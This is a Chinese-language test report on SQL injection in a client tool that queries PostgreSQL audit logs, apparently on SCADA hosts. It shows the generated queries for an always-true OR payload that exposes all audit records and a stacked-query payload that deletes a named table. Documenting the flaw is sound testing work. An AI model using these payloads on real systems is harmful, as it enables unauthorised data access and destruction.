測試背景與環境說明:
公司的監控系統對於用戶登錄/退出、權限修改、重要的操作都會記錄審計日志,日志存儲在postgres數據庫中。此外,還有一個提供審計記錄查詢的客戶端工具,界面如下,其中過濾輸入框可以輸入。

測試步驟:
1)驗證輸入框,確認可以輸入任意字符
2)觀察客戶端工具的后台打印信息,找到其生成查詢語句的方法:輸入作為like的條件進行模糊查詢
3)從網絡上了百度了一下常用的like sql注入方法,然后根據自己的環境構造用例,測試步驟如下:
1、過濾窗輸入:空
客戶端后台工具生成的sql語句:
"SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1 WHERE (HOSTNAME = 'scada6') "
2、過濾窗輸入:aaa
客戶端后台工具生成的sql語句:
Sql template is: "SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1 WHERE (HOSTNAME = 'scada6') AND (STRCOMMENT like '%aaa%')"
通過該用例得知,客戶端工具構造sql語句的方法是 '%input%'),且是是AND邏輯,所以考慮到可以利用 恆為true的OR語句 使AND條件失效。
3、過濾窗輸入:aa%') OR ('1%' = '1
期望結果:查找操作節點為scada1且內容中包含aa%') OR ('1%' = '1字符串的審計記錄。
客戶端后台工具生成的sql語句:
Sql template is: "SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1 WHERE (HOSTNAME = 'scada1') AND (STRCOMMENT like '%aa%') OR ('1%' = '1%')"
實際結果:因為OR條件恆為true,所以會把所有審計記錄過濾出來。
4、過濾窗輸入:aa') ; delete from sifang.hdr_analoginput20211209;--#
期望結果:查找操作節點為scada1且內容中包含aa') ; delete from sifang.hdr_analoginput20211209;--#字符串的審計記錄。
客戶端后台工具生成的sql語句:
Sql template is: "SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1 WHERE (HOSTNAME = 'scada1') AND (STRCOMMENT like '%aa') ; delete from sifang.hdr_analoginput20211209;--#%')"
實際結果:通過符號;將一條語句拆成多條語句,利用postgres的注釋符號--注釋掉結尾用不到的無效字符串。執行查詢語句后,然后清空指定表中的數據,返回給客戶端客戶端工具顯示查詢結果為空。
